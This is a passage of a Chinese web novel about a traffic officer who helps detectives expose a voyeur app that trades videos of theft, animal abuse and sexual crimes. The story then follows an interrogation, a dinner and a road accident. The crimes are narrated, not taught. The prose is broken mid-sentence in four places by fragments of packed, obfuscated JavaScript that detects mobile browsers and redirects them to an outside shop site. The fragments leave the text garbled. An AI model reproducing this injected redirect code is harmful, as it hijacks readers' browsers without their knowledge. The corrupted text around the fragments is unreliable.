“新事件？”程昭打开事情收集器，看到多了一个新事件“恶意的拍摄”。 打开这个事件，发现里面事件概述模糊不清，信息关联表的内容也很少。 事件概述：一个不知名组织的黑色产业，用户通过各种违法照片视频作品牟利…… 信息关联表：王智手机的窥视APP、王智的相册、李俊伟医生的偷拍事件…… 程昭不禁想起，以前周立言提及过的，李医生偷拍案涉及了一个以偷拍牟利的黑产业链……难道这个王智，也拍摄了什么东西，然后和这个拍摄黑产业有关？ 那个窥视APP的logo，是一个黑色的眼睛。程昭思量了一会儿，决定忍耐好奇，先不要点开。有些APP是需要登录的，万一这个APP登录失败就锁死，那就麻烦了。 还是先搞清楚，这个王智大概做了什么。然后找周立言他们，一起打开这个APP，这样比较稳妥。 程昭打开了相册，开始仔细查看照片和视频。相册里面有一个相簿是上锁的，看不到。最近的一次拍摄，是昨晚拍的几段视频。程昭点开查看，发现是王智把手机固定在身上，以第一视角拍摄偷窃过程。 再往前一点，是几张猫狗的全身照片。看样子，有点像程露张雯雯以前救助的芳湖小区的流浪猫狗。 然后，其他的照片就是比较日常的照片，吃喝玩乐的打卡、新鞋新手表的照片、一家人出游的照片…… 程昭留意了一下系统的关联表，偷窃过程的视频，上锁的相簿，都在关联列表里面，打上了发光标记。猫狗的全身照虽然也在列表，但是排序很后，几乎没有发光标识，关联程度很低。 看来，捕捉流浪猫狗，是这个王智的做的，但是不知道他想要做什么。 程昭感觉有点头大，不知道为什么，她隐约感觉到，这件事背后有很大的麻烦，这个事件应该会很难收集很难破解…… 程昭继续查看了王勇和张洋的手机，没有发现什么和“恶意的拍摄事件”相关联的。 不过她也不是毫无收获，从几个人的手机信息，她推断盗窃团伙的大本营，在西城区的郊区一个居民区，几个人也住在那附近。 经过侯远山、孙泽林等警官的查证，货运公司旧员工的名单出来了。在案发期间出现过的两个人张雄、张韩，还有小区扩招的保安张明、李凯，都浮出水面。 同时，警方也查到了王贵等人的常住地，还查到了王贵的几笔异常的资金流水。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732626|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周立言和乔良回来了，周立言说：“刚刚我们去问完王顺的话了。他一开始想要把所有罪名都揽到自己身上，我们摆出我们知道的线索，劝说他，他就放弃包揽罪名了。” “王顺说，王贵承诺他，只要他揽下所有罪名，他会好好照顾他的两个孩子，让他们回去读书，不用他们继续帮忙偷东西。他把王贵张清的可能藏身的地点告诉我们了，他答应了作证。” 王贵可能已经在准备逃跑了，事不宜迟，周立言立刻安排人手，分别去捉拿涉案的人回警局。 程昭虽然想要找周立言他们帮忙看这个窥视APP和加密相簿，还有去审讯王智，但是这事急不来，还是先解决盗窃案。所以她就先保持沉默。 不过周立言眼尖，察觉到程昭一脸心事，好像有事想说。于是他过来问：“程昭，怎么了？你好像有点事想说。” 程昭点点头，“是啊，不过你们去捉人比较紧急。你们回来我再和你们说。” “好吧。我们去捉人，你先在警局等我们吧，你就不要跟着一起了。” 程昭点点头，老老实实地留在市局等他们捉人回来。 ………… 经过一番波折，警方终于把涉案的几个人，全部捉拿归案。 因为警察的证据比较充足，其他人也纷纷招供，以求减刑。王贵就放弃抵赖，把他的所作所为都说出来了。 王贵的货运公司在两年前，因为经营不善倒闭了。但是他做惯了大老板，让他再出去打工，他难以适应。而且，自己一家子、张清的家人、王顺的两个孩子，都靠着他吃饭。打工来钱太慢太少了，于是他开始想其他的门路。 他以前认识了一些人，买到了一些开锁撬门的工具来玩，手里还有一些没卖出去的旧车。货运公司里面，张清和她的几个亲戚都比较心狠大胆，而且贪财。于是他和张清合谋，组了几个人一起偷东西。 一开始他们没有目的地偷，拿到的钱太少。后来他们学会了事先踩点，选了合适的人家，再下手。 因为他们人比较多，零零散散地选下手目标，大家分到手的钱不够多，而且没有效率，所以后来他们就选比较有钱的楼盘小区，连续作案。 先在小区里面引起一些混乱，然后观望小区的安保情况。有时候小区会因为保安工作人员办事不力，换掉一些人，或者扩招人员，他们就尝试塞人进去，方便他们踩点，留意物业的安保措施。 等偷了几次，小区安保升级了，他们就转移阵地。 在偷御景花园之前，他们已经在隔壁市用同样手法，偷过三个小区了。他们不敢长期只偷一个城市，就轮着来下手。最近在本市下手，没想到居然被发现了。 ………… 偷窃团伙的事，基本上已经查清了，追查赃物赃款的事，程昭就帮不上什么忙了。 等周立言审问完犯人，程昭就拿着王智的手机，过来找周立言。 程昭打开手机，给周立言看了一下那个窥视APP和王智拍摄的偷窃视频，然后一脸认真地说：“周队，我怀疑王智还有其他的问题……” 30. 窥视APP和审讯 “？”周立言看了看王智的手机，又看了看程昭，疑惑地问：“这个视频……好像是行窃时候拍下的？这个APP怎么了，怎么不打开？” 程昭尴尬地挠挠头，她之前已经在心里已经想了几套说辞，还拉系统小五帮忙参谋……可惜那些说辞，小五和她都觉得挺不靠谱的。思来想去，她还是用了她的老借口。 程昭一脸认真地说：“算是我的第六感吧。我感觉王智拍盗窃过程录像，还有偷了猫狗拍照片，这些行为都很诡异……我觉得那些视频照片和这个窥视APP有关系。我担心打开需要解锁，所以就等你们安排技术人员，再一起查看。” 周立言看着程昭，没思考多久，就点头答应了请求，“没问题，我们找个技术人员，帮忙一起看。” 程昭立刻喜笑颜开，跟着周立言去了找技术员。 技术员听了他们的请求，很爽快地答应帮忙。他打开窥视APP，发现确实是需要密码，而且密码需要在短时间内输入，输错三次启动自毁程序。 登录验证居然这样严格，这下子，技术员和周立言，都觉得这个APP有问题了。 技术员技术很强，虽然试错机会有限，时间又短，但是最终还是破解了登录。 周立言和程昭凑过来，和技术员一起查看APP的内容。一时之间，大家都沉默了。 无他，沉默全因APP里面的内容过于可怕。 只看分频类别，就感觉到浓浓的恶意，偷拍、虐待动物、抢劫、打架、强、奸……如果视频都是真的，那牵涉的问题就非常大了，绝对是大案。 技术员尝试打开分频，查看内容，然后大家发现，里面很多内容都是有等级限制的。 王智的账号等级太低，只能看到一些偷拍和虐待动物的内容。 而等级的升级，需要靠消费充值、做升级任务或者悬赏任务。王智的升级任务就包含上传几个违法视频。 周立言深呼吸一口气，定了定神，然后交代技术员：“麻烦帮忙查一下这个APP怎么回事，查一下服务器在哪里，看看能不能把里面的视频下载下来……需要联系领导，安排人过来帮忙吗？” 技术员皱着眉，点头说：“嗯，安排点人一起来吧，我一个人效率太低了，而且这个软件不好破解……” 周立言说：“嗯，处理的时候小心点，手机先交给你，我去找手机机主聊聊，然后和领导汇报这件事。” 技术员神情郑重地点点头，然后开始工作。 程昭跟着周立言离开技术部办公室，心思还在那个软件上面。 周立言看到程昭脸色凝重，一言不发的样子，轻轻拍拍她的肩膀，担心地问：“怎么了？被吓到了？” 程昭回过神来，看向周立言，不好意思地点点头：“我有点太震惊了……我以为这样的事，只会在电视剧里面出现……怎么有人会这么坏呢？伤害别人来取乐，还搞个平台来传播，获取利益……” 周立言垂眸，无奈地笑笑，“自古利益动人心。有的人可能一开始没有那么坏，但是为了利益，就不顾礼义廉耻了……我们可以做的，就是见一个除一个。” 然后周立言又好奇地问：“程昭，你是怎么猜到，王智手机里面有问题的？” 程昭整理了一下思路，缓缓说道：“我一开始，是好奇这些盗窃团的人，为什么要捕捉小区的流浪猫流浪狗。我本来以为他们是捕捉去卖的，但是后来又想，如果捕捉了很多，即使是短期关起来，也会引来周围的人注意，这样很容易暴露他们的本职生意，得不偿失……” “后来，我看到王安平的手机视频，发现是他兄妹放走了之前捕捉的流浪猫狗，就很疑惑，他们当初捉走小猫小狗的意图。所以我就把其他人的手机，都看了一遍，留意有没有相关的信息……” “王智的手机里面存了一些猫狗的全身照，看样子就是近期在芳湖小区重新捕捉的。看照片，王智根本就不是喜欢猫狗的人，他拍的照片，好像是在展示什么商品。然后，他手机里面还录了，他行窃过程的录像。谁会录下自己犯罪的证据呢？这些视频、照片，肯定是别有用途的……” “我检查他的手机，那个云盘APP让我回想起，之前那个李医生偷拍事件，你曾经说过，那个案件涉及了一个以偷拍牟利的黑色产业。我就有点怀疑，会不会也是和那件事有关，然后刚好留意到这个窥视APP。直觉告诉我，这个APP不太对劲，我在软件商店，也找不到这个APP。所以我就想找你们确认了。” 周立言点点头，笑着说：“不愧是神探小姐。虽然有点天马行空，但是事实证明你是对的。我现在去审问一下王智，问关于窥视APP的事，问完再去上报问题。你要不要一起来审问？” 程昭有点跃跃欲试，又有点小犹豫，“可以吗？我不是刑警……而且没受过审问的培训……” 周立言嘴角微扬，“没事，你是知情人士，直觉又准，说不定问的问题，比我们还到位。你以顾问的形式来提问就好，我和另一个警官陪着你问问题。” 程昭笑着点头，“好，那我试试。” ………… 周立言叫上大个子陈丰，过来帮忙审讯。陈丰长得比较壮实，不说话的时候，十分有威慑力。 陈丰好奇地问：“发生什么事了吗？盗窃案不是差不多审问完了吗？” 周立言简单地把窥视APP的事，告诉了陈丰。 陈丰听完目瞪口呆，他万万没想到，盗窃案后面，还有这样的展开。 周立言沉声说：“现在我们掌握的信息太少了，需要让王智把知道的内情说出来。你等下就装作黑脸，坐在一旁，怒视王智就可以。让我或者程昭来提问。” 陈丰点头答应。 几个人来到审讯室，王智已经被安排坐在里面了。 陈丰率先进入房间，怒视着王智，猛的拉开椅子，然后坐下。 周立言则保持一贯的对外风格，抿着嘴，冷漠严肃，散发着冷气。他带着程昭进入房间，拉开椅子，让程昭坐下，自己则站着，冷冷地俯视了一下王智，然后才缓缓坐下。 王智不过是一个十六岁的少年，他是昨晚盗窃被捉住的，他也知道他家的盗窃生意都暴露了。本来已经审问完了，现在又叫他过来，他隐隐约约感觉到，自己的小秘密，也被发现了。 两个男警官都凶神恶煞的样子，王智只好把目光转移到气势比较弱的女警官身上。他装作若无其事的样子，说：“警官，你们不是已经审问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737218|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了吗？怎么又来找我？” 周立言冷笑一声，说：“为什么又来问你？你应该很清楚吧，你的手机，视频，APP。” 王智脸色一白，梗着脖子说：“我不明白你们在说什么。” 程昭看了一下系统，目前“恶意的拍摄”的关联信息主要还是王智手机的内容，不过她的推测，有很多都说中了，被系统记录在列表。 于是，她打算用她的推测，来诈一下王智。 程昭冷笑着说：“你很明白吧，王智。你之前捕捉流浪猫流浪狗，大费周章的，不就是为了做任务吗？” 王智没想到，他要求捉流浪猫流浪狗的事，也被发现了，“你怎么知……我只是捉来玩玩而已……” “只是捉来玩吗？不是为了用来拍视频？你是看了窥视APP里面，虐待动物的视频吧？然后想模仿别人拍几段，好升级你的会员等级？这个你否认也没有意义，应该有其他人看到过，我们去问问就知道了。” 王智沉默了一下，然后说：“既然你们都知道了，问我做什么？” 王智松口了，周立言也接着问：“坦白从宽，抗拒从严。这件事你从头到尾，如实说一遍吧。早点坦白，对你的量刑有好处。” 王智无奈地叹了一口气，是啊，他都被捉了，没必要再隐瞒那个APP，反正他也没做太多坏事，就是图猎奇，看了一些犯罪视频。 王智开始讨价还价，“我说可以，但是你们要给我减刑，而且不能让别人知道，是我说出去的。” 周立言微微点头，说：“我们会酌情判断的，你说的供词也是保密的，不会对外公布。” 王智沉吟了一下，整理语言，说：“这个APP，是几个月前，一个游戏好友推荐给我的。我玩游戏氪金比较多，那个人知道我有钱，就问我想不想看一些刺激的视频。” “那个人给我发了几段视频……就是那些带颜色又比较暴力的……然后和我说，付费可以看。我就陆陆续续地和他交易了几次。” “后来，他和我说，他可以推荐我开一个视频会员，推荐费6万，说那个视频平台里面有很多好料，他之前给我看的视频，都是那里面的……我当时有点沉迷，脑子一热，就和他交易了。然后他发了一个安装包给我，还指引我注册。” “那个窥视APP，里面确实是很多很劲爆的视频，但是我等级太低了。看视频要氪金，也要有等级。升级需要做任务，我本来是想学人家，录一些虐待小猫小狗的视频……之前我让踩点的张明叔，帮忙捉一些猫狗。我本来都要下手了，但是它们叫得太惨了，我害怕就住手了。我爸知道这件事之后，还骂了我一顿，说我乱造杀孽，会损财运……” “但是我要完成任务，才可以升级。只氪金需要花太多钱了，会被我爸发现。所以我就拜托张洋叔他们，出去干活的时候带上我……我录了两次偷东西的视频，还挺多人看的，给我少少地赚了一点零花钱。有观众留言，说想看第一视角的，所以我最后那次，就自己来偷……” “芳湖小区那些猫狗，我本来是想卖给平台那些用户的，赚点任务积分。但是那些人不肯花钱不肯给积分，只想白嫖，还想让我包邮寄过去。我就懒得送了，干脆把那些猫狗都放走了。” 31. 神秘网友 王智说完停顿了一下，翘起二郎腿，往椅背一靠，然后吊儿郎当地说：“在这件事上，我可没有犯什么大错。” 程昭有点无语，忍不住开口吐槽：“你都去偷东西了，还说没有犯错……” “……这是工作，工作怎么能说是犯错呢！”王智狡辩道。 周立言摆摆手，打断王智的狡辩，盯着他，问：“你那个游戏是什么？那个网友，你知道他的身份吗？” 王智回想了一下，说：“那个网游是龙战online，当时挺火的，游戏装备炒得很贵。那个网友游戏ID叫绿林战士，他一开始和我交易，是通过游戏物品交易的……” “后来我们交易多了，他才让我银行转账，账户是啥我不记得了，好像是XX银行的，我手机银行应该有转账记录……” “那个人可能姓王或者名字里面有王，我们有时候玩游戏组队，他偶尔会带着一个人一起组队，那个人叫他老王。” 周立言继续问：“那个一起组队的人，游戏名字是什么？知道他名字吗？” 王智说：“好像叫绿林逍遥，不是很记得了。我们就组队过几次，他也没加我好友。我对他有印象，完全因为他和绿林战士好像很熟。” 程昭问：“你们有见过面吗？或者有语言通话过吗？” 王智摇摇头又点点头，说：“没见过面，不过玩游戏的时候语言聊天过两三次，我感觉他有点口音，但是我分辨不出来。” 周立言又问了一些关于APP的事，例如有没有什么注意事项，有没有什么限制……王智回忆了一下，也都乖乖回答了。 然后周立言又再问了一些游戏网友的事，有些问题是之前问过的，有些是没问过的……王智虽然有点不耐烦，但是也老老实实地回答了，毕竟他还指望警官帮他求情减刑。 程昭一边听，一边留意系统更新的关联信息。关于这个交易的网友，目前确定关联的信息和王智所说的差不多，王智应该没有说谎。 不过有一个点比较奇怪的是，王智猜测网友“可能姓王或者名字里面有王”，这个点没记录在列表。是别人的猜测不会记录，还是王智的猜测不对所以不记录？ 程昭就试探着问：“你觉得，那个网友是哪里人？在哪个地方呆过？” 王智犹豫地回答：“这是让我猜吗？他口音比较重，像是外省人，可能是H省或者S省。至于呆过的地方……对了，有次他说什么美食节的东西很难吃，刚好我们市就办过美食节，我就猜他是不是来我们A市了，但是他又说不是，让我别乱猜。” 程昭看了看系统的关联表，上面更新了一些内容，标记了是H省人，和来过A市美食节。看来，别人的推测，如果中了，系统也会记录。 程昭继续问：“那个美食节是什么时候的事？” 王智挠挠头，说：“好像是新年之后举办的，具体什么时间不记得了。” 然后周立言又问了关于平台用户的问题，例如知不知道对方的姓名身份、住址之类的信息。 王智也一一回答了，不过他只知道对方想要他邮寄的地址是临市的一个快递站，收件人写苏汤姆，很明显就是假名，他并不了解对方的身份信息。 周立言想要问的问题，暂时问完了。他眼神询问程昭和陈丰，还有没有其他想要问的。两人也暂时没有其他想要问的。 于是，这次的审讯就先告一段落。 ………… 周立言整理审问得到的信息，汇报给上级领导。 领导于山听到这件事十分惊讶，拍摄违法视频传播获利，这种事情性质太恶劣了。简直是在鼓励犯罪。 于山思考了一下，然后说：“立言，你先继续追查，我去安排人过来帮忙，准备成立专案调查组。” 周立言点头说：“好的，我会继续追查的。另外有个事情，这件事的发现人，是过来帮忙的交警程昭，她对案件的直觉很准很敏锐，推理能力很强。能不能也让她加入调查组？” 于山感觉有点为难，虽然他也听过周立言提起过几次程昭，知道她帮了很多的忙。 但是这个案子比较恶劣，肯定要报到上面去的，让别人知道专案组里面有外行人，这样看起来有点不好。 而且这个案子和之前的偷拍黑产业有关，那个案子进展得很慢。这次的案件，估计也不会查得很快。调交警过来帮忙两三天还好，一个月两个月的，就不好说了，还影响人家的本职工作评分。 于山思量再三，还是拒绝了周立言的建议，和他讲了一些自己的考量，“……虽然都是系统里面的公务人员，但是她毕竟不是刑警。长期过来帮忙，就有点说不过去了。所以还是算了吧，不过你们有遇到难题，也可以找她帮忙参谋一下。” 周立言轻轻叹了一口气，“其实程昭她也很想调岗过来做刑警的，她本人的能力完全是可以胜任的。她之前参与的几个案子，都很快解决破案了，这个对于我们的破案率，有很大的帮助。于队，你考虑一下调她过来吧。” 于山揉揉额角，说：“这样转岗的特例很少，这事……我再想想吧。” ………… 周立言找完领导汇报，然后回到办公室，这时候，大家都知道了盗窃案背后，居然还有一个这样恶劣的大案。 众人都在议论纷纷，看到周立言，就围过来问这个案件是怎么回事。 周立言看了看时间，笑着说：“你们的工作热情也太强烈了，现在已经很晚了，大家先下班吧。窥视APP的案件应该会成立专案组，技术部也在研究这个APP了，应该迟些就有结果了。大家先回家休息吧。” “啊，居然已经这么晚了。”侯远山惊呼。 孙泽林笑着说：“还以为我们盗窃案要查几天呢，居然一天就搞掂了。” 乔良伸了个懒腰，笑着说：“毕竟我们这次没有走什么弯路，很迅速就查到关键线索了。” 陈丰对程昭竖起大拇指，佩服地说：“对啊，多亏了程昭！监控照片、货运公司旧照像素都这么低，居然都能分辨出来。” 过来联合查案的戴丽君也笑着说：“我工作这么多年，第一次查案查得这么顺，感觉太爽了。” 另一个联合查案的刘平警官也点头说：“我们之前还预估要查几天，队里把我的工作都分给了其他人，没想到我们居然这么快就解决了。” 程昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741667|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点不好意思地挠挠头，谦虚道：“可能我直觉比较准，运气比较好吧。凑巧，凑巧罢了。” 刘平感慨道：“有时候查案就是需要一点运气啊。运气不好的时候，查得可艰难了。” “运气好也是一种实力啊，这种凑巧，太难遇到了。”戴丽君笑着拍拍程昭的肩膀，“我们工作，很多时候要推测很多种可能，然后方方面面地查，经常要走很多弯路，才找到答案。你这种运气，简直是老天爷赏饭吃……下次我们遇到难以判断的难题，能不能也来麻烦你帮忙推测？准不准没关系，主要是蹭点运气。” 程昭笑着点头，“可以啊，不过我不能打包票，每次都这么快解决哦。” 戴丽君笑着说：“放心，一般情况我们都会自己解决问题的……我们找外援已经挺难为情了，怎么可能还要你打包票。” 戴丽君找程昭交换了联络信息，刘平看到了，也凑过来一起交换了。 周立言查看了一下盗窃案的信息，说：“盗窃团伙的案子，就剩下整理材料了。这些我们迟两天整理好，然后同步一份给戴警官和刘警官。” “好，那我们明天就不过来了，麻烦你们整理资料文件了。” 时间不早，大家整理东西，纷纷下班回家了。 周立言拿好东西，走到程昭面前，说：“走吗？” “走。”程昭轻轻一跳，站了起来。 周立言带着程昭去停车场取车，然后说：“今天辛苦你了，我请你吃饭？你有其他安排吗？” “没……这是庆功宴吗？”程昭笑着问。 周立言轻笑一声，“当然不是，庆功宴要等迟一些了，有新案子……这是单独对神探的感谢。你有什么想吃的吗？” 程昭摇摇头，“没，看你安排吧。” 周立言笑着说：“那带你去我常去的店吧。” “好。” ………… 周立言带着程昭，开车去了御景小区附近的一家私房菜菜馆。 程昭看了一下菜牌，感觉很多都很好吃，选择困难症又爆发了，于是就让周立言来点。周立言也从善如流地接下了点菜的工作，点了胡椒猪肚鸡汤、黄油焖虾、白切鸡、炒时蔬，然后还听老板推荐，加了一份清蒸大闸蟹。 店家效率挺高，没有等太久就陆续上菜了。 程昭也没和周立言客气，一边说说笑笑一边开吃。几个菜都很好吃，怪不得挑食的周立言，会常来这家店。 就是这个大闸蟹太难剥了，程昭吃得有点狼狈。 周立言见状，笑着用工具帮她剥蟹壳，把肉挑出来，放到小碟子给她，“来，我帮你吧。用这个工具比较容易剥开。” 程昭脸上微微一热，“……我自己来吧。” 周立言轻轻摇摇头，微笑着说：“没事，我来帮你吧，我剥蟹很熟练。” 周立言还真没谦虚，他剥蟹好像真的很熟练，行云流水一样，甚至有点优雅。 程昭好奇地问：“你剥蟹真的好厉害耶，故意学过的？” 周立言好像回想了什么回忆，然后淡淡一笑，“因为一个长辈很喜欢吃蟹，我小时候经常帮她剥，慢慢就熟练了。” 32. 周队往事 周立言眉眼之间满是怀念之情，平时偏冷的五官也柔和了很多。 程昭不由自主地轻声说：“那一定是个很好的长辈。” 周立言微笑点点头，一边剥蟹，一边和程昭说起了往事，“那是我的奶奶，一个很好的人。我父母不喜欢我，是她把我带大的。” 程昭有点好奇，但是又不太好意思问周立言的私事。看到她纠结犹豫的样子，周立言轻笑一声，说：“你有什么想问就问吧。” 程昭纠结了一下，然后还是忍不住问了，“周队，你那么好，为什么你爸妈这样对你啊？” 这个疑问，其实在上一次一起吃海鲜、饭后散步的时候，程昭就想问了。不过那时候她和周立言还不算很熟，就没开口。现在既然周立言随便她问，她就大着胆子，八卦一下。 毕竟，换作她处于父母的位置，周立言优越的外形、体面的工作、稳重的个性，绝对是父母可以到处炫耀的好孩子。 而且什么原因让他的父母，这么多年都不亲近自己的孩子？ 周立言拆完一只蟹，把蟹肉碟子挪到程昭面前，又递给她一瓶醋。 然后他轻轻叹了一口气，说：“这件事要从很久以前说起了。据说我母亲怀我的时候，孕期反应特别厉害，我出生的时候，她还差点难产了。我本来有个双胞胎妹妹，但是出生后几个月就没了……” “我大概三岁的时候，家里来了个算命先生，他说我八字不好，会影响身边人的运势，特别是兄弟姐妹的运势……我有个哥哥，我父母担心我真的会影响身边的人，然后就把我分隔开，让一个老保姆照顾我。后来我奶奶知道了这些事，看不过去，在我五岁左右的时候，把我接过去养了。” 程昭皱起眉头，“封建迷信！这些事怎么可以怪你呢？” 周立言耸耸肩，淡淡一笑，“毕竟听起来是挺邪门的……我母亲当年因为我这一胎伤了身体，养了几年才好，后来又生了一对龙凤胎，然后都很健康……所以，我长大之后，也不怪他们了，大家不住一起，当成普通亲戚来往就是。” “而且我奶奶对我挺好的，不强迫我吃不喜欢的东西，也不会要求我按她的想法学习或者做事。她当年听到我想去警校，还很高兴……她去世的时候，还留了一些钱给我，我才有现在这样的自在日子。” 程昭心里十分复杂，没想到周队居然有这样的童年，太可怜了。 然后她又觉得周立言很厉害，家人这样对待他，他也没有长歪，还找到了自己的方向，年纪轻轻就是刑警队长。 程昭搜肠刮肚绞尽脑汁，想要说什么来安慰周立言，但是又觉得他现在这样并不需要安慰。 最后她抬头看着周立言，一脸认真地说：“你现在这么厉害，你奶奶泉下有知一定会为你骄傲自豪的。” 周立言看着程昭眼睛，读懂了她未说出的安慰之意。私房菜餐厅暖色的灯光下，她的杏眼被镀上了一层蒙蒙的金光，好像藏着星星一样。 周立言轻轻笑了，说：“好了，这些都是陈年旧事了。我怎么和你提起了……我也没多厉害，一个普通人而已。” “反而是你，查案找方向那么敏锐，好像有超能力一样。”周立言又推了一下蟹肉的碟子，“吃吧，别客气。” 程昭笑嘻嘻地说：“嘿嘿，那我不客气啦~” 程昭往蟹肉上面浇了一点醋，然后拿着勺子，一口蟹肉蟹黄，一口米饭，太香了，简直停不下来…… 吃饱喝足之后，周立言一边送程昭回家，一边和她提起窥视APP的事，“这个案子影响比较恶劣，领导也说要成立专案组。到时候不一定是我主持破案，不过应该会让我们组参与……” “我已经和于队说了想要邀请你来加入调查组，也让他考虑给你调岗的事，不过他顾虑比较多，暂时都没答应。” “不过，他说遇到难题，可以继续找你当顾问。所以，案子有新进展的话，到时候我们可以告诉你。” 虽然听到于队没同意她进调查组或者调岗，程昭有点小失望，但是听到周立言说案子线索可以告诉她，程昭又开心起来了。 程昭笑着说：“没关系，可以告诉我就不错了。如果让我知道了开头，又完全不给我参与，我就会被自己的好奇心逼得发疯了。” 周立言轻笑一声，“那么夸张？放心，会满足你的好奇心的……之前周丽鸣绑架案，我和领导提出找你帮忙，他还对我说的话将信将疑。这次连环盗窃案，我一提他就答应了……” “窥视APP这个案子，除了要查这个视频平台，可能还会涉及很多个案件，比较敏感。虽然于队没直接让你进调查组，但是也说可以找你帮忙，说明他也很相信你的能力。你这么厉害，调岗也是迟早的事，领导也想提高破案率。” 私房菜菜馆距离程昭住的地方不远，周立言开车，很快就到了楼下。 听了周立言的话，程昭雀跃不已。没想到他领导已经记得她了，说不定哪天就可以正式成为刑警。说不定还可以和周队一起共事，看着帅哥的脸干活，感觉上班都是一种享受了，嘿嘿~ “希望这天早点来到吧。” 周立言笑着说：“不会太远的。早点休息吧，晚安。” “谢谢今晚的款待，晚安。”程昭挥手和周立言道别，一蹦一跳都上楼回家了。 ………… 第二天上班，庞达又狠狠地夸了一遍程昭，“小程，你太厉害了，刑事科的于山队长和我说了，你帮了很大的忙。本来他们想借你过去几天的，没想到你们一天就解决了。南城区的戴警官和东城区的刘警官也给我发信息，说我们交警队伍卧虎藏龙……” 程昭被夸得有点不好意思了，脸上微微发红。她挠挠头，谦虚道：“主要是刑事的警官资料搜集得齐全，我刚好找到了突破的线索。如果没有我，他们迟早也会找到关联的。” 庞达笑着摆摆手，“兵贵神速，慢慢查是可以查到，但是这样盗窃团的人，可能就四散藏匿了。损失就更难追回了……所以你确实是做得很好，不用谦虚。你的功劳，我们会记下来的。” 程昭感动地说：“谢谢庞队！” 庞达笑着说：“好了，你回去做事吧。今天好像轮到你出外勤……不过我们昨天预计你可能今天回不来，所以换了个人去外勤。你看你是出去巡逻，还是在办公室处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744775|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理文件吧。” 程昭想了一下，说：“我还是出去巡逻吧，如果哪里需要支援，可以通知我过去。” 庞达点头，“行，那你去吧。” ………… 程昭换好制服，带齐装备，骑着摩托车到处巡逻。 最近天气逐渐转凉，凉风习习，太阳也不晒，开摩托车特别舒服。 一路上，程昭拦住了六个骑电动车摩托车不带头盔的，抄了五个违停的车牌，阻止了几个试图闯红灯的行人。 没戴头盔、违停的，程昭按照规矩，当场警告或者开罚单。 试图乱闯红灯的路人，程昭让他们当场大声朗读了最近新发布的行人交通守则。他们朗读的时候，走过的路人都悄悄看着他们，几个朗读者都不好意思地脸红了，承诺下次会遵守交通规则。 走到一个商区附近的林荫路，程昭稍作休息，停下来喝点水。 看到路边大楼玻璃墙上自己的倒影，程昭忍不住凑过去臭美欣赏了一番。她们的制服还是挺帅气的，穿上之后，气场立刻直线飙升。 忽然，玻璃面倒影的一角，吸引了程昭的注意。 远处一个路人，在红绿灯变灯的时候冲过马路，一辆小轿车启动太快，剐蹭到了路人。司机好像慌了神，方向盘也打歪了，直直地撞向了路边的一个石墩…… 事情发生得太快，又有点距离，程昭都来不及出声警告。程昭一边跑过去路人的方向，一边和通知了总台，报告了交通事故，“……xx路xx大厦旁边的红绿灯发生了一宗交通事故，有个行人可能受伤了，司机撞到了路边的石墩，我现在正在过去查看情况……” 程昭跑到路人旁边，路人看起来好像没有受什么重伤，“先生，你没事吧？” 路人坐在地上，惊魂未定地捂住自己心脏的位置，脸色发白，冒出了一些冷汗。他望向车子的方向，车子的车头撞了石墩，微微有点变形了。坏了坏了，车主不会找他算账吧…… 路人看向程昭，惊慌失措地说：“交警同志，不关我事啊，我刚过马路的时候，人行道还没有倒数完呢……那个车子还撞了我，他撞到路边不关我事啊……” 程昭没急着判断责任在谁，现在要紧的是，先检查两边的伤势。她用安抚的语气说：“先生你先别急，你哪里有受伤？受的伤严重吗？可以站起来吗？” 路人活动了一下手，又试图站起来，活动一下脚。 “嘶，”路人痛呼出声，“我的右脚好像崴到了，有点刺痛。” “行，你先不要乱动了，”程昭的记录仪已经打开了，拍摄到了现场。 “我扶你坐到路边吧，你等等我，我看完司机情况，给你们叫救护车。”然后程昭伸手扶了路人一把，帮他挪到路边坐下。 然后程昭跑向马路斜对面的车子，远远看去车头有点轻微的变形，不知道为什么，好像没有弹出安全气囊。 程昭看到驾驶室有个女人歪歪地坐着，“女士，女士你还好吗？” 